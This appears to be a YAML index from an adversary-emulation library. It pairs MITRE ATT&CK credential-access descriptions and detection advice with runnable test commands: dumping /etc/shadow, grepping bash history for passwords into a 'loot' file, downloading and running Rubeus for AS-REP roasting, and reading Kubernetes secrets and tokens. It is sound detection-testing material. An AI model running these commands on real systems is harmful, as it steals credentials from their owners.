---
credential-access:
  T1003.008:
    technique:
      created: '2020-02-11T18:46:56.263Z'
      modified: '2020-03-20T15:56:55.022Z'
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      type: attack-pattern
      id: attack-pattern--d0b4fcdb-d67d-4ed2-99ce-788b12f8c0f4
      description: |
        Adversaries may attempt to dump the contents of <code>/etc/passwd</code> and <code>/etc/shadow</code> to enable offline password cracking. Most modern Linux operating systems use a combination of <code>/etc/passwd</code> and <code>/etc/shadow</code> to store user account information including password hashes in <code>/etc/shadow</code>. By default, <code>/etc/shadow</code> is only readable by the root user.(Citation: Linux Password and Shadow File Formats)

        The Linux utility, unshadow, can be used to combine the two files in a format suited for password cracking utilities such as John the Ripper:(Citation: nixCraft - John the Ripper) <code># /usr/bin/unshadow /etc/passwd /etc/shadow > /tmp/crack.password.db</code>
      name: "/etc/passwd and /etc/shadow"
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      external_references:
      - url: https://attack.mitre.org/techniques/T1003/008
        external_id: T1003.008
        source_name: mitre-attack
      - description: The Linux Documentation Project. (n.d.). Linux Password and Shadow
          File Formats. Retrieved February 19, 2020.
        url: https://www.tldp.org/LDP/lame/LAME/linux-admin-made-easy/shadow-file-formats.html
        source_name: Linux Password and Shadow File Formats
      - description: 'Vivek Gite. (2014, September 17). Linux Password Cracking: Explain
          unshadow and john Commands (John the Ripper Tool). Retrieved February 19,
          2020.'
        url: https://www.cyberciti.biz/faq/unix-linux-password-cracking-john-the-ripper/
        source_name: nixCraft - John the Ripper
      x_mitre_platforms:
      - Linux
      x_mitre_is_subtechnique: true
      x_mitre_version: '1.0'
      x_mitre_permissions_required:
      - root
      x_mitre_detection: The AuditD monitoring tool, which ships stock in many Linux
        distributions, can be used to watch for hostile processes attempting to access
        <code>/etc/passwd</code> and <code>/etc/shadow</code>, alerting on the pid,
        process name, and arguments of such programs.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      identifier: T1003.008
    atomic_tests:
    - name: Access /etc/shadow (Local)
      auto_generated_guid: 3723ab77-c546-403c-8fb4-bb577033b235
      description: "/etc/shadow file is accessed in Linux environments\n"
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1003.008.txt"
      executor:
        command: |
          sudo cat /etc/shadow > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

'
        name: bash
        elevation_required: true
    - name: Access /etc/passwd (Local)
      auto_generated_guid: 60e860b6-8ae6-49db-ad07-5e73edd88f5d
      description: "/etc/passwd file is accessed in Linux environments\n"
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1003.008.txt"
      executor:
        command: |
          cat /etc/passwd > #{output_file}
          cat #{output_file}
        cleanup_command: 'rm -f #{output_file}

'
        name: sh
    - name: Access /etc/{shadow,passwd} with a standard bin that's not cat
      auto_generated_guid: df1a55ae-019d-4120-bc35-94f4bc5c4b0a
      description: 'Dump /etc/passwd and /etc/shadow using ed

'
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1003.008.txt"
      executor:
        command: 'echo -e "e /etc/passwd\n,p\ne /etc/shadow\n,p\n" | ed > #{output_file}

'
        cleanup_command: 'rm -f #{output_file}

'
        name: bash
        elevation_required: true
    - name: Access /etc/{shadow,passwd} with shell builtins
      auto_generated_guid: f5aa6543-6cb2-4fae-b9c2-b96e14721713
      description: 'Dump /etc/passwd and /etc/shadow using bash builtins

'
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "/tmp/T1003.008.txt"
      executor:
        command: |
          function testcat(){ echo "$(< $1)"; }
          testcat /etc/passwd > #{output_file}
          testcat /etc/shadow > #{output_file}
        cleanup_command: 'rm -f #{output_file}

'
        name: bash
        elevation_required: true
  T1557.002:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1557.002
        url: https://attack.mitre.org/techniques/T1557/002
      - source_name: RFC826 ARP
        url: https://tools.ietf.org/html/rfc826
        description: Plummer, D. (1982, November). An Ethernet Address Resolution
          Protocol. Retrieved October 15, 2020.
      - source_name: Sans ARP Spoofing Aug 2003
        url: https://pen-testing.sans.org/resources/papers/gcih/real-world-arp-spoofing-105411
        description: Siles, R. (2003, August). Real World ARP Spoofing. Retrieved
          October 15, 2020.
      - source_name: Cylance Cleaver
        description: Cylance. (2014, December). Operation Cleaver. Retrieved September
          14, 2017.
        url: https://web.archive.org/web/20200302085133/https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: ARP Cache Poisoning
      description: |
        Adversaries may poison Address Resolution Protocol (ARP) caches to position themselves between the communication of two or more networked devices. This activity may be used to enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).

        The ARP protocol is used to resolve IPv4 addresses to link layer addresses, such as a media access control (MAC) address.(Citation: RFC826 ARP) Devices in a local network segment communicate with each other by using link layer addresses. If a networked device does not have the link layer address of a particular networked device, it may send out a broadcast ARP request to the local network to translate the IP address to a MAC address. The device with the associated IP address directly replies with its MAC address. The networked device that made the ARP request will then use as well as store that information in its ARP cache.

        An adversary may passively wait for an ARP request to poison the ARP cache of the requesting device. The adversary may reply with their MAC address, thus deceiving the victim by making them believe that they are communicating with the intended networked device. For the adversary to poison the ARP cache, their reply must be faster than the one made by the legitimate IP address owner. Adversaries may also send a gratuitous ARP reply that maliciously announces the ownership of a particular IP address to all the devices in the local network segment.

        The ARP protocol is stateless and does not require authentication. Therefore, devices may wrongly add or update the MAC address of the IP address in their ARP cache.(Citation: Sans ARP Spoofing Aug 2003)(Citation: Cylance Cleaver)

        Adversaries may use ARP cache poisoning as a means to man-in-the-middle (MiTM) network traffic. This activity may be used to collect and/or relay data such as credentials, especially those sent over an insecure, unencrypted protocol.(Citation: Sans ARP Spoofing Aug 2003)
      id: attack-pattern--cabe189c-a0e3-4965-a473-dcff00f17213
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      - kill_chain_name: mitre-attack
        phase_name: collection
      modified: '2021-04-21T16:41:35.256Z'
      created: '2020-10-15T12:05:58.755Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: "Monitor network traffic for unusual ARP traffic, gratuitous
        ARP replies may be suspicious. \n\nConsider collecting changes to ARP caches
        across endpoints for signs of ARP poisoning. For example, if multiple IP addresses
        map to a single MAC address, this could be an indicator that the ARP cache
        has been poisoned."
      x_mitre_data_sources:
      - 'Network Traffic: Network Traffic Content'
      - 'Network Traffic: Network Traffic Flow'
      x_mitre_contributors:
      - Jon Sternstein, Stern Security
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
    atomic_tests: []
  T1558.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1558.004
        url: https://attack.mitre.org/techniques/T1558/004
      - source_name: Harmj0y Roasting AS-REPs Jan 2017
        url: http://www.harmj0y.net/blog/activedirectory/roasting-as-reps/
        description: HarmJ0y. (2017, January 17). Roasting AS-REPs. Retrieved August
          24, 2020.
      - source_name: Microsoft Kerberos Preauth 2014
        url: https://social.technet.microsoft.com/wiki/contents/articles/23559.kerberos-pre-authentication-why-it-should-not-be-disabled.aspx
        description: 'Sanyal, M.. (2014, March 18). Kerberos Pre-Authentication: Why
          It Should Not Be Disabled. Retrieved August 25, 2020.'
      - source_name: Stealthbits Cracking AS-REP Roasting Jun 2019
        url: https://blog.stealthbits.com/cracking-active-directory-passwords-with-as-rep-roasting/
        description: Jeff Warren. (2019, June 27). Cracking Active Directory Passwords
          with AS-REP Roasting. Retrieved August 24, 2020.
      - description: Medin, T. (2014, November). Attacking Kerberos - Kicking the
          Guard Dog of Hades. Retrieved March 22, 2018.
        source_name: SANS Attacking Kerberos Nov 2014
        url: https://redsiege.com/kerberoast-slides
      - url: https://adsecurity.org/?p=2293
        description: Metcalf, S. (2015, December 31). Cracking Kerberos TGS Tickets
          Using Kerberoast – Exploiting Kerberos to Compromise the Active Directory
          Domain. Retrieved March 22, 2018.
        source_name: AdSecurity Cracking Kerberos Dec 2015
      - url: https://blogs.technet.microsoft.com/motiba/2018/02/23/detecting-kerberoasting-activity-using-azure-security-center/
        description: Bani, M. (2018, February 23). Detecting Kerberoasting activity
          using Azure Security Center. Retrieved March 23, 2018.
        source_name: Microsoft Detecting Kerberoasting Feb 2018
      - source_name: Microsoft 4768 TGT 2017
        url: https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768
        description: 'Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication
          ticket (TGT) was requested. Retrieved August 24, 2020.'
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: AS-REP Roasting
      description: "Adversaries may reveal credentials of accounts that have disabled
        Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002)
        Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication
        offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002).
        When enabled, a user requesting access to a resource initiates communication
        with the Domain Controller (DC) by sending an Authentication Server Request
        (AS-REQ) message with a timestamp that is encrypted with the hash of their
        password. If and only if the DC is able to successfully decrypt the timestamp
        with the hash of the user’s password, it will then send an Authentication
        Server Response (AS-REP) message that contains the Ticket Granting Ticket
        (TGT) to the user. Part of the AS-REP message is signed with the user’s password.(Citation:
        Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication,
        an adversary may send an AS-REQ message without the encrypted timestamp and
        receive an AS-REP message with TGT data which may be encrypted with an insecure
        algorithm such as RC4. The recovered encrypted data may be vulnerable to offline
        [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks
        similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003)
        and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan
        2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account
        registered to a domain, with or without special privileges, can be abused
        to list all domain accounts that have preauthentication disabled by utilizing
        Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001)
        with an LDAP filter. Alternatively, the adversary may send an AS-REQ message
        for each user. If the DC responds without errors, the account does not require
        preauthentication and the AS-REP message will already contain the encrypted
        data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits
        Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003),
        [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral
        Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation:
        SANS Attacking Kerberos Nov 2014)"
      id: attack-pattern--3986e7fd-a8e9-4ecb-bfc6-55920855912b
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-10-20T19:30:11.783Z'
      created: '2020-08-24T13:43:00.028Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_system_requirements:
      - Valid domain account
      x_mitre_permissions_required:
      - User
      x_mitre_detection: 'Enable Audit Kerberos Service Ticket Operations to log Kerberos
        TGS service ticket requests. Particularly investigate irregular patterns of
        activity (ex: accounts making numerous requests, Event ID 4768 and 4769, within
        a small time frame, especially if they also request RC4 encryption [Type 0x17],
        pre-authentication not required [Type: 0x0]).(Citation: AdSecurity Cracking
        Kerberos Dec 2015)(Citation: Microsoft Detecting Kerberoasting Feb 2018)(Citation:
        Microsoft 4768 TGT 2017)'
      x_mitre_data_sources:
      - 'Active Directory: Active Directory Credential Request'
      x_mitre_contributors:
      - James Dunn, @jamdunnDFW, EY
      - Swapnil Kumbhar
      - Jacques Pluviose, @Jacqueswildy_IT
      - Dan Nutting, @KerberToast
      x_mitre_platforms:
      - Windows
      identifier: T1558.004
    atomic_tests:
    - name: Rubeus asreproast
      auto_generated_guid: 615bd568-2859-41b5-9aed-61f6a88e48dd
      description: |
        Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
        This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
      supported_platforms:
      - windows
      input_arguments:
        local_folder:
          description: Local path of Rubeus executable
          type: Path
          default: "$Env:temp"
        local_executable:
          description: name of the rubeus executable
          type: String
          default: rubeus.exe
        out_file:
          description: file where command results are stored
          type: String
          default: rubeus_output.txt
        rubeus_url:
          description: URL of Rubeus executable
          type: Url
          default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
      dependency_executor_name: powershell
      dependencies:
      - description: 'Computer must be domain joined

'
        prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain)
          {exit 0} else {exit 1}

'
        get_prereq_command: 'Write-Host Joining this computer to a domain must be
          done manually

'
      - description: 'Rubeus must exist

'
        prereq_command: 'if(Test-Path -Path #{local_folder}\#{local_executable}) {exit
          0} else {exit 1}

'
        get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable}

'
      executor:
        command: 'cmd.exe /c "#{local_folder}\#{local_executable}" asreproast /outfile:"#{local_folder}\#{out_file}"

'
        cleanup_command: 'Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore

'
        name: powershell
        elevation_required: false
  T1552.003:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1552.003
        url: https://attack.mitre.org/techniques/T1552/003
      - url: http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
        description: Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to
          DA, the OS X Way. Retrieved July 3, 2017.
        source_name: External to DA, the OS X Way
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Bash History
      description: 'Adversaries may search the bash command history on compromised
        systems for insecurely stored credentials. Bash keeps track of the commands
        users type on the command-line with the "history" utility. Once a user logs
        out, the history is flushed to the user’s <code>.bash_history</code> file.
        For each user, this file resides at the same location: <code>~/.bash_history</code>.
        Typically, this file keeps track of the user’s last 500 commands. Users often
        type usernames and passwords on the command-line as parameters to programs,
        which then get saved to this file when they log out. Attackers can abuse this
        by looking through the file for potential credentials. (Citation: External
        to DA, the OS X Way)'
      id: attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-02-07T20:48:49.878Z'
      created: '2020-02-04T13:02:11.685Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitoring when the user's <code>.bash_history</code> is
        read can help alert to suspicious activity. While users do typically rely
        on their history of commands, they often access this history through other
        utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.
      x_mitre_data_sources:
      - 'File: File Access'
      - 'Command: Command Execution'
      x_mitre_platforms:
      - Linux
      - macOS
      identifier: T1552.003
    atomic_tests:
    - name: Search Through Bash History
      auto_generated_guid: 3cfde62b-7c33-4b26-a61e-755d6131c8ce
      description: 'Search through bash history for specifice commands we want to
        capture

'
      supported_platforms:
      - linux
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed
          type: Path
          default: "~/loot.txt"
        bash_history_grep_args:
          description: grep arguments that filter out specific commands we want to
            capture
          type: Path
          default: "-e '-p ' -e 'pass' -e 'ssh'"
        bash_history_filename:
          description: Path of the bash history file to capture
          type: Path
          default: "~/.bash_history"
      executor:
        command: 'cat #{bash_history_filename} | grep #{bash_history_grep_args} >
          #{output_file}

'
        name: sh
  T1110:
    technique:
      id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Brute Force
      description: Adversaries may use brute force techniques to gain access to accounts
        when passwords are unknown or when password hashes are obtained. Without knowledge
        of the password for an account or set of accounts, an adversary may systematically
        guess the password using a repetitive or iterative mechanism. Brute forcing
        passwords can take place via interaction with a service that will check the
        validity of those credentials or offline against previously acquired credential
        data, such as password hashes.
      external_references:
      - source_name: mitre-attack
        external_id: T1110
        url: https://attack.mitre.org/techniques/T1110
      - external_id: CAPEC-49
        source_name: capec
        url: https://capec.mitre.org/data/definitions/49.html
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-14T12:04:36.243Z'
      created: '2017-05-31T21:31:22.767Z'
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      - Containers
      x_mitre_permissions_required:
      - User
      x_mitre_detection: Monitor authentication logs for system and application login
        failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). If
        authentication failures are high, then there may be a brute force attempt
        to gain access to a system using legitimate credentials. Also monitor for
        many failed authentication attempts across various accounts that may result
        from password spraying attempts. It is difficult to detect when hashes are
        cracked, since this is generally done outside the scope of the target network.
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      - 'Application Log: Application Log Content'
      x_mitre_contributors:
      - David Fiser, @anu4is, Trend Micro
      - Alfredo Oliveira, Trend Micro
      - Magno Logan, @magnologan, Trend Micro
      - Yossi Weizman, Azure Defender Research Team
      - Ed Williams, Trustwave, SpiderLabs
      x_mitre_version: '2.2'
      x_mitre_is_subtechnique: false
    atomic_tests: []
  T1003.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1003.005
        url: https://attack.mitre.org/techniques/T1003/005
      - source_name: Microsoft - Cached Creds
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/hh994565(v%3Dws.11)
        description: Microsfot. (2016, August 21). Cached and Stored Credentials Technical
          Overview. Retrieved February 21, 2020.
      - source_name: PassLib mscache
        url: https://passlib.readthedocs.io/en/stable/lib/passlib.hash.msdcc2.html
        description: Eli Collins. (2016, November 25). Windows' Domain Cached Credentials
          v2. Retrieved February 21, 2020.
      - source_name: ired mscache
        url: https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials
        description: Mantvydas Baranauskas. (2019, November 16). Dumping and Cracking
          mscash - Cached Domain Credentials. Retrieved February 21, 2020.
      - url: https://github.com/mattifestation/PowerSploit
        description: PowerSploit. (n.d.). Retrieved December 4, 2014.
        source_name: Powersploit
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cached Domain Credentials
      description: |-
        Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)

        On Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)

        With SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.

        Note: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)
      id: attack-pattern--6add2ab5-2711-4e9d-87c8-7a0be8531530
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2020-03-24T20:41:08.996Z'
      created: '2020-02-21T15:42:25.991Z'
      x_mitre_contributors:
      - Ed Williams, Trustwave, SpiderLabs
      x_mitre_detection: |-
        Monitor processes and command-line arguments for program execution that may be indicative of credential dumping. Remote access tools may contain built-in features or incorporate existing tools like Mimikatz. PowerShell scripts also exist that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz module,(Citation: Powersploit) which may require additional logging features to be configured in the operating system to collect necessary information for analysis.

        Detection of compromised [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries may help as well.
      x_mitre_data_sources:
      - 'Command: Command Execution'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - SYSTEM
      x_mitre_platforms:
      - Windows
    atomic_tests: []
  T1552.005:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1552.005
        url: https://attack.mitre.org/techniques/T1552/005
      - source_name: AWS Instance Metadata API
        url: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html
        description: AWS. (n.d.). Instance Metadata and User Data. Retrieved July
          18, 2019.
      - source_name: Krebs Capital One August 2019
        url: https://krebsonsecurity.com/2019/08/what-we-can-learn-from-the-capital-one-hack/
        description: Krebs, B.. (2019, August 19). What We Can Learn from the Capital
          One Hack. Retrieved March 25, 2020.
      - description: 'Higashi, Michael. (2018, May 15). Instance Metadata API: A Modern
          Day Trojan Horse. Retrieved July 16, 2019.'
        url: https://redlock.io/blog/instance-metadata-api-a-modern-day-trojan-horse
        source_name: RedLock Instance Metadata API 2018
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Cloud Instance Metadata API
      description: |
        Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.

        Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)

        If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. Additionally, attackers may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows the attacker to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: RedLock Instance Metadata API 2018)

        The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.
      id: attack-pattern--19bf235b-8620-4997-b5b4-94e0659ed7c3
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-03-31T19:41:06.948Z'
      created: '2020-02-11T18:47:46.619Z'
      x_mitre_contributors:
      - Praetorian
      x_mitre_data_sources:
      - 'User Account: User Account Authentication'
      x_mitre_detection: |-
        Monitor access to the Instance Metadata API and look for anomalous queries.

        It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).
      x_mitre_version: '1.2'
      x_mitre_is_subtechnique: true
      x_mitre_platforms:
      - IaaS
    atomic_tests: []
  T1552.007:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1552.007
        url: https://attack.mitre.org/techniques/T1552/007
      - source_name: Docker API
        url: https://docs.docker.com/engine/api/v1.41/
        description: Docker. (n.d.). Docker Engine API v1.41 Reference. Retrieved
          March 31, 2021.
      - source_name: Kubernetes API
        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
          March 29, 2021.
      - source_name: Unit 42 Unsecured Docker Daemons
        url: https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
        description: Chen, J.. (2020, January 29). Attacker's Tactics and Techniques
          in Unsecured Docker Daemons Revealed. Retrieved March 31, 2021.
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Container API
      description: "Adversaries may gather credentials via APIs within a containers
        environment. APIs in these environments, such as the Docker API and Kubernetes
        APIs, allow a user to remotely manage their container resources and cluster
        components.(Citation: Docker API)(Citation: Kubernetes API)\n\nAn adversary
        may access the Docker API to collect logs that contain credentials to cloud,
        container, and various other resources in the environment.(Citation: Unit
        42 Unsecured Docker Daemons) An adversary with sufficient permissions, such
        as via a pod's service account, may also use the Kubernetes API to retrieve
        credentials from the Kubernetes API server. These credentials may include
        those needed for Docker API authentication or secrets from Kubernetes cluster
        components. "
      id: attack-pattern--f8ef3a62-3f44-40a4-abca-761ab235c436
      type: attack-pattern
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: credential-access
      modified: '2021-04-12T18:20:31.636Z'
      created: '2021-03-31T14:01:52.321Z'
      x_mitre_version: '1.0'
      x_mitre_is_subtechnique: true
      x_mitre_permissions_required:
      - User
      - Administrator
      x_mitre_detection: |-
        Establish centralized logging for the activity of container and Kubernetes cluster components. Monitor logs for actions that could be taken to gather credentials to container and cloud infrastructure, including the use of discovery API calls by new or unexpected users and APIs that access Docker logs.

        It may be possible to detect adversary use of credentials they have obtained such as in [Valid Accounts](https://attack.mitre.org/techniques/T1078).
      x_mitre_contributors:
      - Center for Threat-Informed Defense (CTID)
      - Jay Chen, Palo Alto Networks
      - Yossi Weizman, Azure Defender Research Team
      x_mitre_platforms:
      - Containers
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'File: File Access'
      - 'User Account: User Account Authentication'
      identifier: T1552.007
    atomic_tests:
    - name: ListSecrets
      auto_generated_guid: 43c3a49d-d15c-45e6-b303-f6e177e44a9a
      description: 'A Kubernetes secret is an object that lets users store and manage
        sensitive information, such as passwords and connection strings in the cluster.
        Secrets can be consumed by reference in the pod configuration. Attackers who
        have permissions to retrieve the secrets from the API server (by using the
        pod service account, for example) can access sensitive information that might
        include credentials to various services.

'
      supported_platforms:
      - containers
      input_arguments:
        namespace:
          description: K8s namespace to list
          type: String
          default: default
      dependencies:
      - description: 'kubectl must be installed

'
        get_prereq_command: 'echo "kubectl must be installed manually"

'
        prereq_command: 'which kubectl

'
      executor:
        command: 'kubectl get secrets -n #{namespace}

'
        name: bash
        elevation_required: false
    - name: Cat the contents of a Kubernetes service account token file
      auto_generated_guid: 788e0019-a483-45da-bcfe-96353d46820f
      description: 'Access the Kubernetes service account access token stored within
        a container in a cluster.

'
      supported_platforms:
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: Verify docker is installed.
        prereq_command: 'which docker

'
        get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not
          Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker
          ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else
          echo "Docker installed"; fi

'
      - description: Verify docker service is running.
        prereq_command: 'sudo systemctl status docker

'
        get_prereq_command: 'sudo systemctl start docker

'
      - description: Verify kind is in the path.
        prereq_command: 'which kind

'
        get_prereq_command: |
          curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64
          chmod +x ./kind
          mv kind /usr/bin/kind
      - description: Verify kind-atomic-cluster is created
        prereq_command: 'sudo kind get clusters

'
        get_prereq_command: 'sudo kind create cluster --name atomic-cluster

'
      - description: Verify kubectl is in path
        prereq_command: 'which kubectl

'
        get_prereq_command: |
          curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
          chmod +x ./kubectl
          mv kubectl /usr/bin/kubectl
      - description: Verify atomic-pod is running.
        prereq_command: 'kubectl --context kind-atomic-cluster get pods |grep atomic-pod

'
        get_prereq_command: 'kubectl --context kind-atomic-cluster run atomic-pod
          --image=alpine --command -- sleep infinity

'
      executor:
        command: 'kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token

'
        name: sh
        cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-pod

'
  T1056.004:
    technique:
      external_references:
      - source_name: mitre-attack
        external_id: T1056.004
        url: https://attack.mitre.org/techniques/T1056/004
      - source_name: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017
        description: Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I.
          Retrieved December 18, 2017.
        url: https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918
      - url: https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx
        description: Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.
        source_name: Microsoft Hook Overview
      - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process
        description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques:
          A Technical Survey Of Common And Trending Process Injection Techniques.
          Retrieved December 7, 2017.'
        source_name: Elastic Process Injection July 2017
      - url: https://www.adlice.com/userland-rootkits-part-1-iat-hooks/
        description: 'Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks.
          Retrieved December 12, 2017.'
